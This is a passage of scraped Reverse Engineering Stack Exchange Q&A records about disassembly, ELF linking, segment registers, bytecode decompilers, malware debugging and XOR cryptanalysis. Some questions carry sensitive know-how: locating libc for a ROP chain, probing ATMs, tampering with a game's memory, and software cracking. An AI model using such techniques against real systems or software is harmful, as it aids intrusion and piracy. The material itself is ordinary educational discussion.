(gdb) disas\nDump of assembler code for function foo:\n   0x000000000040057c <+0>: push   %rbp\n   0x000000000040057d <+1>: mov    %rsp,%rbp\n   0x0000000000400580 <+4>: sub    $0x20,%rsp\n   0x0000000000400584 <+8>: mov    %edi,-0x14(%rbp)\n=> 0x0000000000400587 <+11>:    mov    %fs:0x28,%rax\n   0x0000000000400590 <+20>:    mov    %rax,-0x8(%rbp)\n   0x0000000000400594 <+24>:    xor    %eax,%eax\n   0x0000000000400596 <+26>:    mov    $0x4006ac,%edi\n   0x000000000040059b <+31>:    callq  0x400440 <puts@plt>\n   0x00000000004005a0 <+36>:    mov    -0x8(%rbp),%rax\n   0x00000000004005a4 <+40>:    xor    %fs:0x28,%rax\n   0x00000000004005ad <+49>:    je     0x4005b4 <foo+56>\n   0x00000000004005af <+51>:    callq  0x400450 <__stack_chk_fail@plt>\n   0x00000000004005b4 <+56>:    leaveq \n   0x00000000004005b5 <+57>:    retq   \n
\n\n

What is the meaning of this kind of syntax?

\n", "Title": "What does %reg:value mean in ATT assembly?", "Tags": "|disassembly|x86|assembly|", "Answer": "

%fs:028h is actually using the form segment:offset, which means it is reaching the memory address at offset 28h in the segment selected by the Far Segment FS.

\n\n

Any memory reference has an implicit segment (most of the time, CS for execution, DS for data read/write), which can be overriden by a segment prefix.

\n" }, { "Id": "1992", "CreationDate": "2013-05-03T08:39:11.810", "Body": "

From time to time, when disassembling x86 binaries, I stumble on\nreference to PLT and GOT, especially when calling procedures from a\ndynamic library.

\n\n

For example, when running a program in gdb:

\n\n
(gdb) info file\nSymbols from \"/home/user/hello\".\nLocal exec file: `/home/user/hello', file type elf64-x86-64.\nEntry point: 0x400400\n    0x0000000000400200 - 0x000000000040021c is .interp\n    0x000000000040021c - 0x000000000040023c is .note.ABI-tag\n    0x000000000040023c - 0x0000000000400260 is .note.gnu.build-id\n    0x0000000000400260 - 0x0000000000400284 is .hash\n    0x0000000000400288 - 0x00000000004002a4 is .gnu.hash\n    0x00000000004002a8 - 0x0000000000400308 is .dynsym\n    0x0000000000400308 - 0x0000000000400345 is .dynstr\n    0x0000000000400346 - 0x000000000040034e is .gnu.version\n    0x0000000000400350 - 0x0000000000400370 is .gnu.version_r\n    0x0000000000400370 - 0x0000000000400388 is .rela.dyn\n    0x0000000000400388 - 0x00000000004003b8 is .rela.plt\n    0x00000000004003b8 - 0x00000000004003c6 is .init\n => 0x00000000004003d0 - 0x0000000000400400 is .plt\n    0x0000000000400400 - 0x00000000004005dc is .text\n    0x00000000004005dc - 0x00000000004005e5 is .fini\n    0x00000000004005e8 - 0x00000000004005fa is .rodata\n    0x00000000004005fc - 0x0000000000400630 is .eh_frame_hdr\n    0x0000000000400630 - 0x00000000004006f4 is .eh_frame\n    0x00000000006006f8 - 0x0000000000600700 is .init_array\n    0x0000000000600700 - 0x0000000000600708 is .fini_array\n    0x0000000000600708 - 0x0000000000600710 is .jcr\n    0x0000000000600710 - 0x00000000006008f0 is .dynamic\n => 0x00000000006008f0 - 0x00000000006008f8 is .got\n => 0x00000000006008f8 - 0x0000000000600920 is .got.plt\n    0x0000000000600920 - 0x0000000000600930 is .data\n    0x0000000000600930 - 0x0000000000600938 is .bss\n
\n\n

And, then when disassembling (puts@plt):

\n\n
(gdb) disas foo\nDump of assembler code for function foo:\n   0x000000000040050c <+0>: push   %rbp\n   0x000000000040050d <+1>: mov    %rsp,%rbp\n   0x0000000000400510 <+4>: sub    $0x10,%rsp\n   0x0000000000400514 <+8>: mov    %edi,-0x4(%rbp)\n   0x0000000000400517 <+11>:    mov    $0x4005ec,%edi\n=> 0x000000000040051c <+16>:    callq  0x4003e0 <puts@plt>\n   0x0000000000400521 <+21>:    leaveq\n   0x0000000000400522 <+22>:    retq\nEnd of assembler dump.\n
\n\n

So, what are these GOT/PLT ?

\n", "Title": "What is PLT/GOT?", "Tags": "|x86|binary-analysis|elf|amd64|", "Answer": "

Let me summarize the links given at https://reverseengineering.stackexchange.com/a/1993/12321 without going into serious disasembly analysis for now.

\n\n

When the Linux kernel + dynamic linker is going to run a binary with exec, it traditionally just dumped the ELF section into a known memory location specified by the linker during link time.

\n\n

So, whenever your coded:

\n\n\n\n

the compiler + linker could just hardcode the address into the assembly and everything would work.

\n\n

However, how can we do it when dealing with shared libraries, which must necessarily get loaded at potentially different addresses every time to avoid conflicts between two shared libraries?

\n\n

The naive solution would be to keep relocation metadata on the final executable, much like the actual linker does and whenever the program is loaded, have the dynamic linker go over every single access and patch it up with the right address.

\n\n

However, this would be too time consuming, since there could be a lot of references to patch on a program, and then that program would take a long time to start running.

\n\n

The solution, as usual, is to add another level of indirection: the GOT and PLT, which are two extra chunks of memory setup by the compilation system + dynamic linker.

\n\n

After the program is launched, the dynamic linker checks the address of shared libraries, and hacks up the GOT and PLT so that it will point correctly to the required shared library symbols:

\n\n\n\n

Nowadays, position independent executables (PIE) are the default on distros such as Ubuntu 18.04.

\n\n

Much like shared libraries, these executables are compiled so that they can be placed at a random position in memory whenever they are executed, in order to make certain vulnerabilities harder to exploit.

\n\n

Therefore, it is not possible to hardcode absolute function and variable addresses anymore in that case. Executables must either:

\n\n\n" }, { "Id": "1994", "CreationDate": "2013-05-03T15:26:58.313", "Body": "

I'm on a Linux machine with ASLR disabled. Running ldd on a binary gives me the following result :

\n\n
linux-gate.so.1 =>  (0xb7fe1000)\nlibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e5c000)\n/lib/ld-linux.so.2 (0xb7fe2000)\n
\n\n

Does this mean that libc.so.6 will be loaded at the address 0xb7e5c000? I'm trying to build a ROP chain for an old CTF challenge and I'd like to get gadgets from the library. I'm looking to know the base address of the library so that I can add it to the offsets of the gadgets.

\n", "Title": "Base address of shared objects from ldd output", "Tags": "|linux|libraries|dynamic-linking|", "Answer": "

Yes, the base address of libc.so.6 should be 0xb7e5c000 for that binary. You can verify this by catting /proc/<pid>/maps while your application is running.

\n" }, { "Id": "1999", "CreationDate": "2013-05-03T17:06:20.423", "Body": "

Recently on Reddit ReverseEngineering I stumbled on a self-modifying code in Python. Looking at the Github repository was quite instructive and I found picture of the Python bytecode program exposed in CFG form:

\n\n

\"enter

\n\n

I am wondering if there are tools to perform static analysis on Python bytecode program with some nice features (such as generating the CFG or allowing to manipulate the code, ...) ?

\n", "Title": "What are the tools to analyze Python (obfuscated) bytecode?", "Tags": "|tools|python|", "Answer": "

A challenge in writing a tool to extract the control flow of python bytecode is that there are so many Python bytecodes versions to choose from, about 25 or so by now (if you include pypy variants).

\n\n

The bytecode in the example graph with its JUMP_IF_FALSE followed by some POP_TOPs and PRINT_NEWLINE instruction, reflect Python before 2.7.

\n\n

However the example in one of the comments from the Flare_bytecode_graph with its POP_TOP_IF_FALSE is 2.7. Python 3 drops the PRINT_ITEM instruction.

\n\n

Anyone writing such a tool will have to come to grips with that; or be happy with living in a single version of Python, for which 2.7 is probably the most popular choice. Or you could ensure that the version of Python you are running matches the bytecode you want to analyze and use the current dis and opcode modules that Python provides. But even here those modules change over time, not in the least being the particular bytecode instructions.

\n\n

I wrote a python package called xdis for those who want to work across all versions of Python bytecode, and don't want to be tied with using the same version of Python that the bytecode requires.

\n\n

The next thing that you'll probably want to do in this endeavor is to classify instructions into categories like those which can branch and those that can't and if the branch is conditional or not.

\n\n

Python has some lists that cover some of this, (\"hasjrel\", \"hasjabs\") but alas it doesn't have the categories that are most useful. And for possibly historical reasons the categories are lists rather than sets. But again xdis to the rescue here; it fills this information in with sets \"CONDITION_OPS\", \"JUMP_UNCONDITIONAL\" and \"JUMP_OPS\".

\n\n

Using this I've written https://github.com/rocky/python-control-flow which uses xdis and has some rudimentary code that will create a control flow graph and dominator tree for most Python bytecodes. There is some code to create dot files and I use graphviz to display that. I notice that Python, can create a lot of dead code.

\n\n

The intended use of that package is to reconstruct high-level Python control structures. There is some rudimentary control structure detection, although this needs a lot more work. Python control structures are pretty rich when you include the try/while/for \"else\" clauses, and the \"finally\" clauses. Even as is, the annotated control flow of the basic blocks very helpful in manually reconstructing structured control flow.

\n\n

When this is finished, I can replace a lot of the hacky code for doing that in uncompyle6.

\n\n

And this leads me to the list of decompilers mentioned in the accepted answer...

\n\n

As stated, those particular versions of uncompyle and uncompyle2 handle only Python 2.7. As suggested, there are older versions that handle multiple Python versions 1.5 to 2.3 or 2.4 or so. That is if you have a Python 2.3 or 2.4 interpreter to run this on.

\n\n

But none of these projects are actively maintained. In uncompyle, there are currently 25 or so issues with the code, many that I have fixed in uncompyle6. And this is for a version of Python that no longer changes! (To be fair though there are some bugs in uncompyle6 that don't exist in uncompyle2. And to address those, I'd really need to put in place that better control flow analysis)

\n\n

A number of the bugs in uncompyle could easily be fixed by just doing the same thing that uncompyle6 does, and I think some of that I've noted in the issues. At this point uncompyle2 is much better than uncompyle, and if you are only interested in Python 2.7, that is the most accurate.

\n\n

As for pycdc, while it is pretty good for its relatively small size (compared to uncompyle6), it too isn't maintained to the level that it would need to keep up with Python changes. So it is weak around Python 3.4 or so and gets progressively weaker for later versions. Uncompyle6 is like that too, but currently less so. pycdc has over 60 issues logged against it and I doubt those will be addressed anytime soon. Some of them aren't that difficult to fix. My own (possibly slanted) comparison of those two decompilers is https://github.com/rocky/python-uncompyle6/wiki/pycdc-compared-with-uncompyle6

\n" }, { "Id": "2000", "CreationDate": "2013-05-03T20:49:37.897", "Body": "

I'm trying to extract menus and other stuff from a New Executable (NE), i.e. the ones from Windows' 16-bit times. The tools I find (e. g. ResourceTuner) work for PEs only.

\n\n

Any idea for tools to facilitate the resource extraction? Could be several steps too, e.g. one program extracting the raw resources, one displaying them in a proper form.

\n", "Title": "How can one extract resources from a New Executable?", "Tags": "|tools|ne|", "Answer": "

A great resource for old tools is the SAC server. From a quick search Resource Grabber seems to support NE resources, though the UI is annoying to use.

\n\n

Another options is eXeScope (shareware).

\n\n

Also, long time ago I found somewhere a tool with the name dresplay.exe. I don't have it at hand right now and Google doesn't seem to know about it...

\n" }, { "Id": "2006", "CreationDate": "2013-05-04T06:18:49.163", "Body": "

I try to understand the process of memory segmentation for the i386 and amd64 architectures on Linux. It seems that this is heavily related to the segment registers %fs, %gs, %cs, %ss, %ds, %es.

\n\n

Can somebody explain how these registers are used, both, in user and kernel-land programs ?

\n", "Title": "How are the segment registers (fs, gs, cs, ss, ds, es) used in Linux?", "Tags": "|linux|x86|assembly|amd64|", "Answer": "

i wrote a windows specific answer to a question that was marked as duplicate and closed and the close flag referred to this thread so i post an answer here

\n\n

os win7 sp1 32 bit machine
\nkernel dump using livekd from sysinternals

\n\n

a 16 bit segment register contains
\n 13 bits of selector
\n 1 bit of table descriptor
\n 2 bits of requester_privilege_level

\n\n
Selector        tl  rpl \n0000000000000----0---00 \n
\n\n

so cs and fs converted to binary will be

\n\n
kd> r cs;r fs\ncs=00000008  = 0b 00001 0 00\nfs=00000030  = 0b 00110 0 00\n
\n\n

2 bits rpl means 0,1,2,3 rings ( so 00 = 0 = ring zero)

\n\n

gdt = 1 bit means 0,1 (0 is for GDT and 1 is for LDT)

\n\n

global descriptor table and local descriptor table

\n\n

the high 13 bits represent segment selector

\n\n

so cs = 0x08 has a segment selector of 0b 001 = 0x1 ie gdtr@1
\n& fs = 0x30 has a segment selector 0f 0b 110 = 0x6 ie gdtr@6

\n\n

the kernel cs,fs are different from user cs,fs\n as can be noticed from dg command from windbg

\n\n
kd> dg @cs  <<<<<<<--- kernel \n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n0008 00000000 ffffffff Code RE Ac 0 Bg Pg P  Nl 00000c9b\n\n0:000> dg @cs <<<<<<<<----user \n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n001B 00000000 ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb\n\nkd> dg @fs <<<<<<<<------- kernel\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n0030 82f6dc00 00003748 Data RW Ac 0 Bg By P  Nl 00000493\n\n0:000> dg @fs\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3\n
\n\n

you can glean sufficient information about gdt from
\n osdevwiki_gdt
\n robert-collins_ddj_article

\n\n

to do that manually im using livekd here

\n\n

using windbg you can get the Descriptor and Task Gate Registers

\n\n
kd> rM 100\ngdtr=80b95000   gdtl=03ff idtr=80b95400   idtl=07ff tr=0028  ldtr=0000\n
\n\n

each gdtr entry is 64 bits so you can have 7f gdtr entries as you can see gdtl is 3ff 0x80*0x08-1 = 0x400-1 = 0x3ff (index starts from 0 not 1)

\n\n

so gdtr entry @1,@2 are @gdtr+(0x1*0x8) @gdtr+(0x2*0x08=0x10) and so on

\n\n
kd> dq @gdtr+8 l1    gdtr@1 = gdtr+0n1*0x8 =0n8  = 0x8    \n80b95008  00cf9b00`0000ffff = gdtr+0n6*0x8 =0n48 = 0x30    \nkd> dq @gdtr+30 l1   \n80b95030  824093f6`dc003748   \nkd> dq @gdtr+38 l1   \n80b95038  7f40f3fd`e0000fff   \n
\n\n

lets bit game the last two gdtr entries manually

\n\n
-------------------------------------------------------------------------------------------\ngdtrentry        [63:     [55:  [51:  [47:          [39:                  [15:             \n                  56]      52]   48]   40]           16]                    0]             \n                 base     gdrs  L     p d  t     Base     Base             Limit           \n                 Hi       rb0y  h     r l  y     Mid      Low                              \n-------------------------------------------------------------------------------------------\nbit position     66665555 5555  5544  4 44 44444 33333333 3322222222221111 1111110000000000\n                 32109876 5432  1098  7 65 43210 98765432 1098765432109876 5432109876543210\n-------------------------------------------------------------------------------------------\n824093f6dc003748 10000010 0100  0000  1 00 10011 11110110 1101110000000000 0011011101001000\nas hex           0x82     0100  0     1 0  0x13  0xF6     0xDC00           0x3748          \n--------------------------------------- ---------------------------------------------------\n7f40f3fde0000fff 01111111 0100  0000  1 11 10011 11111101 1110000000000000 0000111111111111\nas hex           0x7F     0100  0     1 3  0x13  0xFD     0xE000           0x0FFF          \n-------------------------------------------------------------------------------------------\n
\n" }, { "Id": "2019", "CreationDate": "2013-05-07T21:04:43.703", "Body": "

I'm trying to debug a malware sample that installs to a system as service and then will only start if it starts as a service. Other functions are still available without the service start, like configuring or install under a different name.

\n\n

I'm trying to catch the network communications the malware is sending and receiving as soon as it starts as a service. If I attach to a running service/process with Immunity it already has sent the network packets and received, and I've missed what it has done with them. If I try to start it any other way I get the following error: ERROR_FAILED_SERVICE_CONTROLLER_CONNECT (00000427).

\n\n

Is there another way to go about this? Or some workaround? I'm fairly new to this so I certainly be missing some obvious.

\n", "Title": "Debugging malware that will only run as a service", "Tags": "|windows|malware|debuggers|networking|", "Answer": "

Several great answers here, and the one posted by Igor is perfect for debugging the service before it actually starts. One piece of insight I would like to contribute is looking into the malware to see if there are any threads that are created that hold the functionality you wish to review.

\n\n

Oftentimes in my analysis, I've dealt with malware that runs as a service, but rather than go through some of the hoops you need to go through to launch a debugger when the service is invoked, I often have luck looking at the malware for a main thread that is spun off after initial criteria for the service startup is handled. Once I find the 'main', thread (assuming it exists and is standalone) I will just load the DLL/EXE in Olly, set my new origin on the thread start and proceed on with my debugging.

\n\n

End of day, its really just a different approach, but something to possibly consider if the situation presents itself.

\n" }, { "Id": "2023", "CreationDate": "2013-05-08T13:31:05.560", "Body": "

This question is using ATMs as an example, but it could apply to any number of 'secure' devices such as poker machines, E-voting machines, payphones etc.

\n\n

Given that ATMs are relatively hardened (in comparison to say, most consumer electronics for example), what would be the process of reverse engineering a device in a black-box AND limited access scenario?

\n\n

Given that traditionally, an end user of a device such as an ATM will only ever have access to the keypad/screen/card input/cash outlet (at a stretch, access to perhaps the computer housed in the top of the plastic casing(think private ATMs at small stores etc)), it seems like most attack vectors are quite limited. Under these types of circumstances, what could be done to reverse, understand and potentially exploit hardened, limited access systems?

\n\n

Is the 'ace up the sleeve' kind of situation here physical access to the ATM components? Or is there a way to RE a device from within the environment a user is presented?

\n", "Title": "How to reverse engineer an ATM?", "Tags": "|hardware|security|physical-attacks|", "Answer": "

All ATMs that I am aware of and have worked on in a past life have a way to get into 'admin' mode either from the front or a rear keypad. Methods vary. Sniffing a network probably won't help as the communication is encrypted.\nThat said, buy one:\nhttp://www.atmexperts.com/used_atm_machines.html\nhttp://www.bellatm.net/Default.asp\nThen you'll have all the time and access you could want - and, unless you misuse anything learned, will avoid prison.

\n" }, { "Id": "2036", "CreationDate": "2013-05-10T23:22:18.610", "Body": "

I am after a java bytecode disassembler whose output includes the bytecodes themselves, their operands, and their addresses in the .class file, and which displays numbers in hex, not decimal.

\n\n

To show what I mean, here are a few lines taken from the output of javap:

\n\n
private java.text.SimpleDateFormat createTimeFormat();\n  Code:\n   Stack=3, Locals=2, Args_size=1\n   0:    new    #84; //class java/text/SimpleDateFormat\n   3:    dup\n   4:    ldc    #17; //String yyyy-MM-dd'T'HH:mm:ss\n   6:    invokespecial    #87; //Method java/text/SimpleDateFormat.\"<init>\":(Ljava/lang/String;)V\n   9:    astore_1\n
\n\n

Every java bytecode disassembler I have found (I have spent much time on google, and downloaded several different ones to try) produces output which is essentially the same as this. Some format or decorate it slightly differently; some replace the command line interface with a fancy GUI; but not one of them displays the addresses of the instructions in the .class file, nor the bytecodes themselves - there are several which claim to show the bytecodes, but none of them actually do, they display only the textual mnemonics representing the bytecodes rather than the bytecodes themselves. Also, they all display the numerical information in decimal, not in hex.

\n\n

Here is an edited version of the above output which I have transformed by hand to produce an example of the sort of thing I am looking for:

\n\n
private java.text.SimpleDateFormat createTimeFormat();\n  Code:\n   Stack=3, Locals=2, Args_size=1\n000010cf    0:    bb 00 54    new    #54; //class java/text/SimpleDateFormat\n000010d2    3:    59          dup\n000010d3    4:    12 11       ldc    #11; //String yyyy-MM-dd'T'HH:mm:ss\n000010d5    6:    b7 00 57    invokespecial    #57; //Method java/text/SimpleDateFormat.\"<init>\":(Ljava/lang/String;)V\n000010d8    9:    4c          astore_1\n
\n\n

The addresses at the start of the lines correspond to the position of the instructions in the .class file, as one would find in a plain hexdump. The hex representations of the bytecodes and their operands are shown, and the disassembly shows the constants in hex.

\n\n

Is there anything available which would produce output resembling this? It does not matter if the fields are in a different order, as long as they are all there. It must run on Linux, either natively or under java.

\n", "Title": "Wanted: Java bytecode disassembler that shows addresses, opcodes, operands, in hex", "Tags": "|java|hex|disassemblers|", "Answer": "

I do not know of a disassembler that will do this, but I have written a Java decompiler that has a bytecode output mode. It is open source, and it would be easy enough to modify to suit your needs. Feel free to check it out here.

\n" }, { "Id": "2038", "CreationDate": "2013-05-11T10:09:14.170", "Body": "

Lately I've been reversing the Android framework for the Nexus S mobile phone.\n99% of the source code is of course open, but there are few propriety shared libraries which needs to be downloaded in order to compile the operating system.\nThese shared libraries are stripped from symbols and suddenly I came to understand that I don't really understand how stripped libraries are linked against. How can the linker match referenced library functions if the symbols don't exist?

\n", "Title": "How are stripped shared libraries linked against?", "Tags": "|linux|elf|libraries|", "Answer": "

Even stripped libraries still must retain the symbols necessary for dynamic linking. These are usually placed in a section named .dynsym and are also pointed to by the entries in the dynamic section.

\n\n

For example, here's the output of readelf on a stripped Android library:

\n\n
Section Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .hash             HASH            000000b4 0000b4 000280 04   A  2   0  4\n  [ 2] .dynsym           DYNSYM          00000334 000334 0005b0 10   A  3   6  4\n  [ 3] .dynstr           STRTAB          000008e4 0008e4 00042f 00   A  0   0  1\n  [ 4] .rel.dyn          REL             00000d14 000d14 000008 08   A  2   2  4\n  [ 5] .rel.plt          REL             00000d1c 000d1c 000100 08   A  2   6  4\n  [ 6] .plt              PROGBITS        00000e24 000e24 000214 04  AX  0   0  4\n  [ 7] .text             PROGBITS        00001038 001038 00210c 00  AX  0   0  8\n  [ 8] .rodata           PROGBITS        00003144 003144 000a70 00   A  0   0  4\n  [ 9] .ARM.extab        PROGBITS        00003bb4 003bb4 000024 00   A  0   0  4\n  [10] .ARM.exidx        ARM_EXIDX       00003bd8 003bd8 000170 00  AL  7   0  4\n  [11] .dynamic          DYNAMIC         00004000 004000 0000c8 08  WA  3   0  4\n  [12] .got              PROGBITS        000040c8 0040c8 000094 04  WA  0   0  4\n  [13] .data             PROGBITS        0000415c 00415c 000004 00  WA  0   0  4\n  [14] .bss              NOBITS          00004160 004160 000940 00  WA  0   0  4\n  [15] .ARM.attributes   ARM_ATTRIBUTES  00000000 004160 000010 00      0   0  1\n  [16] .shstrtab         STRTAB          00000000 004170 000080 00      0   0  1\n
\n\n

You can see that even though it's missing the .symtab section, the .dynsym is still present. In fact, the section table can be removed as well (e.g. with sstrip) and the file will still work. This is because the dynamic linker only uses the program headers (aka the segment table):

\n\n
Program Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  EXIDX          0x003bd8 0x00003bd8 0x00003bd8 0x00170 0x00170 R   0x4\n  LOAD           0x000000 0x00000000 0x00000000 0x03d48 0x03d48 R E 0x1000\n  LOAD           0x004000 0x00004000 0x00004000 0x00160 0x00aa0 RW  0x1000\n  DYNAMIC        0x004000 0x00004000 0x00004000 0x000c8 0x000c8 RW  0x4\n
\n\n

The DYNAMIC segment corresponds to the .dynamic section and contains information for the dynamic linker:

\n\n
Dynamic section at offset 0x4000 contains 21 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [liblog.so]\n 0x00000001 (NEEDED)                     Shared library: [libcutils.so]\n 0x00000001 (NEEDED)                     Shared library: [libc.so]\n 0x00000001 (NEEDED)                     Shared library: [libstdc++.so]\n 0x00000001 (NEEDED)                     Shared library: [libm.so]\n 0x0000000e (SONAME)                     Library soname: [libnetutils.so]\n 0x00000010 (SYMBOLIC)                   0x0\n 0x00000004 (HASH)                       0xb4\n 0x00000005 (STRTAB)                     0x8e4\n 0x00000006 (SYMTAB)                     0x334\n 0x0000000a (STRSZ)                      1071 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x00000003 (PLTGOT)                     0x40c8\n 0x00000002 (PLTRELSZ)                   256 (bytes)\n 0x00000014 (PLTREL)                     REL\n 0x00000017 (JMPREL)                     0xd1c\n 0x00000011 (REL)                        0xd14\n 0x00000012 (RELSZ)                      8 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x6ffffffa (RELCOUNT)                   1\n 0x00000000 (NULL)                       0x0\n
\n\n

The two entries here necessary for symbol resolution are STRTAB and SYMTAB. They together make up the dynamic symbol table:

\n\n
Symbol table '.dynsym' contains 91 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00001038     0 SECTION LOCAL  DEFAULT    7 \n     2: 00003144     0 SECTION LOCAL  DEFAULT    8 \n     3: 00003bb4     0 SECTION LOCAL  DEFAULT    9 \n     4: 0000415c     0 SECTION LOCAL  DEFAULT   13 \n     5: 00004160     0 SECTION LOCAL  DEFAULT   14 \n     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND clock_gettime\n     7: 000026e1    88 FUNC    GLOBAL DEFAULT    7 ifc_init\n     8: 00000001    20 FUNC    GLOBAL DEFAULT  UND strcpy\n     9: 00002d6d   140 FUNC    GLOBAL DEFAULT    7 open_raw_socket\n     [...]\n
\n\n

You can see that it contains both UND (undefined) symbols - those required by the library and imported from other .so, and the \"normal\" global symbols which are exported by the library for its users. The exported symbols have their addresses inside the library listed in the Value column.

\n" }, { "Id": "2039", "CreationDate": "2013-05-11T11:16:55.810", "Body": "

I was trying to change the values of a Flash game which loads the SWF and some JSON over a HTTPS site. So changing the values of JSON was not possible using browser cache.

\n\n

I changed the values of that JSON by editing the memory of the Adobe Flash process by loading it in HxD. Still I wasn't able to see the changed values inside Firefox.

\n\n

Can anybody guide as to what protects the changed values from reflecting?

\n", "Title": "No apparent effect after editing some JSON in the memory of a Flash process", "Tags": "|flash|", "Answer": "

Hard to say with so little info, but I suspect that you edited the data after it has already been parsed by the game code. You probably need to intercept the moment it arrives from the remote server and change it then.

\n" }, { "Id": "2049", "CreationDate": "2013-05-16T16:17:12.610", "Body": "

Since Lua is an interpreted/compiled language that its own compilers and isn't usually translated/compiled with a C compiler. What tools should be used to reverse engineer an application written in Lua?

\n", "Title": "Where can I find tools for reverse engineering Lua", "Tags": "|disassembly|tools|decompile|byte-code|", "Answer": "

If your application is compiled to a binary you might still be able to use normal debuggers like IDA. However, Lua has its own tools for decompiling from machine code and byte code. These links should be kept up to date by the Lua community.

\n\n

Lua Wiki: LuaTools

\n\n

If you need support for Lua 5.2 LuaAssemblyTools is the first to support that.

\n" }, { "Id": "2051", "CreationDate": "2013-05-17T13:29:00.033", "Body": "

I defined a struct in a header file, similar to this one:

\n\n
struct STRUCT\n{\n    char a;\n    int b;\n};\n
\n\n

This is parsed successfully by IDA, however it adds padding bytes after the char:

\n\n
00000000 STRUCT          struc ; (sizeof=0x4)\n00000000 a               db ?\n00000001                 db ? ; undefined\n00000002 b               dw ?\n00000004 STRUCT          ends\n
\n\n

I can't remove the padding field using u, so the question is: How can one remove padding fields automatically inserted by IDA, or how can one prevent IDA from creating padding fields?

\n", "Title": "How to prevent automatic padding by IDA?", "Tags": "|ida|", "Answer": "

You can use #pragma pack(1) before the declaration.

\n" }, { "Id": "2056", "CreationDate": "2013-05-19T06:10:18.827", "Body": "

When working with embedded systems, it is often easiest to use a downloadable firmware file rather than recover the firmware from the device.

\n\n

Mostly these are ROM images in the form of a .bin file. Sometimes, they are Motorola SREC files (often called .s19 files or .mot files).

\n\n

These are easily converted into bin files using many available tools. The SREC files tend to only contain records where there is actually data/code and the gaps are filled with padding values during conversion. Padding tends to be 0x00 or 0xFF.

\n\n

This can gives us a hint about the data segment of the image - it allows us to tell if the memory has been initialised with 0x00/0xFF intentionally by the compiler/assembler, or if it is just padding. Sometimes this can make identifying data structures easier.

\n\n

Is there anything else an SREC file can leak?

\n", "Title": "Does a Motorola SREC file give me any additional information over a binary ROM image?", "Tags": "|firmware|embedded|", "Answer": "

Usually you only get addresses and raw bytes, but some tools/compilers may use custom record types or add extra information. For example, Tasking VX toolchain for Tricore uses an S0 record for identification:

\n\n
\n

S0-record

\n\n
'S' '0' <length_byte> <2 bytes 0> <comment> <checksum_byte>\n
\n \n

A linker generated S-record file starts with a S0 record with the\n following contents:

\n \n

length_byte : 0x6
\n comment : ltc (TriCore linker)
\n checksum : 0xB6

\n\n
        l t c\nS00600006C7463B6\n
\n \n

The S0 record is a comment record and does not contain relevant\n information for program execution.

\n
\n" }, { "Id": "2058", "CreationDate": "2013-05-19T18:45:53.677", "Body": "

BinNavi is originally a Zynamics product. But, since the company has been bought by Google, it seems to be difficult to get the library.

\n\n

I tried to look in the BinNavi manual in the installation chapter. But, I couldn't find any way to get the source code or a binary package.

\n\n

Is there any hope that the code or, at least, a binary form of BinNavi become available at some point ?

\n\n

And, about the BinNavi API, is it possible to use BinNavi with other languages than REIL or is BinNavi hard linked with it ?

\n\n

\"BinNavi

\n", "Title": "Is BinNavi available? If not, can I get the source from anywhere?", "Tags": "|tools|binary-analysis|", "Answer": "

BinNavi was just released as open source today by Google, so you can get it for free.

\n\n

About using it with something else than REIL, if you're fearless, you can give a try to radare2, since it can translate its intermediary language ESIL, to REIL.

\n" }, { "Id": "2060", "CreationDate": "2013-05-19T22:33:29.790", "Body": "

I use Resource Hacker Application for Reverse Engineering purposes, I've cracked 3 softwares by using this software, but it doesn't grab all .EXE, .DLL files.
\nsometimes It says, This is not a valid Win32 executable file, but I've provided it a valid Win32 File.\n
\nAny Solution please, Thanks in advance

\n", "Title": "Why my Resource Hacker doesn't work with some .EXE files", "Tags": "|windows|unpacking|executable|decompiler|", "Answer": "

Parsing PE files correctly is hard and there are almost always ways to make tools crash or refuse to work, while the Windows loader still executes the program normally. See e.g. Pimp My PE, Undocumented PECOFF

\n\n

A loop in the resource tree structure might be enough to crash Resource Hacker.

\n\n

Although these papers are mainly about malicious files, this applies for non-malicious ones as well, if the owner wanted to protect them or if he just happened to use a compiler or packer that violates the PECOFF specification or certain conventions.

\n" }, { "Id": "2062", "CreationDate": "2013-05-20T16:44:55.427", "Body": "

I know that modern cryptographic algorithms are as close as they can to fully random data (ciphertext indistinguishability) and that trying to detect it is quite useless. But, what can we do on weak-crypto such as xor encryption ? Especially if we can get statistical studies of what is encrypted ?

\n\n

What are the methods and which one is the most efficient (and under what hypothesis) ? And, finally, how to break efficiently this kind of encryption (only based on a statistical knowledge of what is encrypted) ?

\n", "Title": "What is the most efficient way to detect and to break xor encryption?", "Tags": "|cryptography|cryptanalysis|", "Answer": "

Just to add to the list. SANS posted a blog about a week ago on different tools for XOR encryption. The list is very good and it provides several tools, all which are good in my opinion.

\n\n

Here is the link : SANS Blog on XOR tools

\n" }, { "Id": "2067", "CreationDate": "2013-05-21T21:03:33.103", "Body": "

Instruction pipelining is used to execute instructions in a parallel fashion by dividing them into several steps .When I pause the execution in a debugger I am only able to see the location of the eip register but not the current pipeline state. Is there a way to find out ?

\n", "Title": "How to view the instruction pipeline?", "Tags": "|machine-code|", "Answer": "

No, a debugger views code sequentially whereas a cpu may reorder code on the fly before it gets executed and even execute more than one instruction at a time. This is the case even for Simulators like Bochs. Simics on the other hand might implement something more in line with reality but I doubt it.

\n\n

Essentially the pipeline is supposed to be transparent to the programmer. As execution wise it should function the same as a single cycle implementation even though the performance would be much different.

\n\n

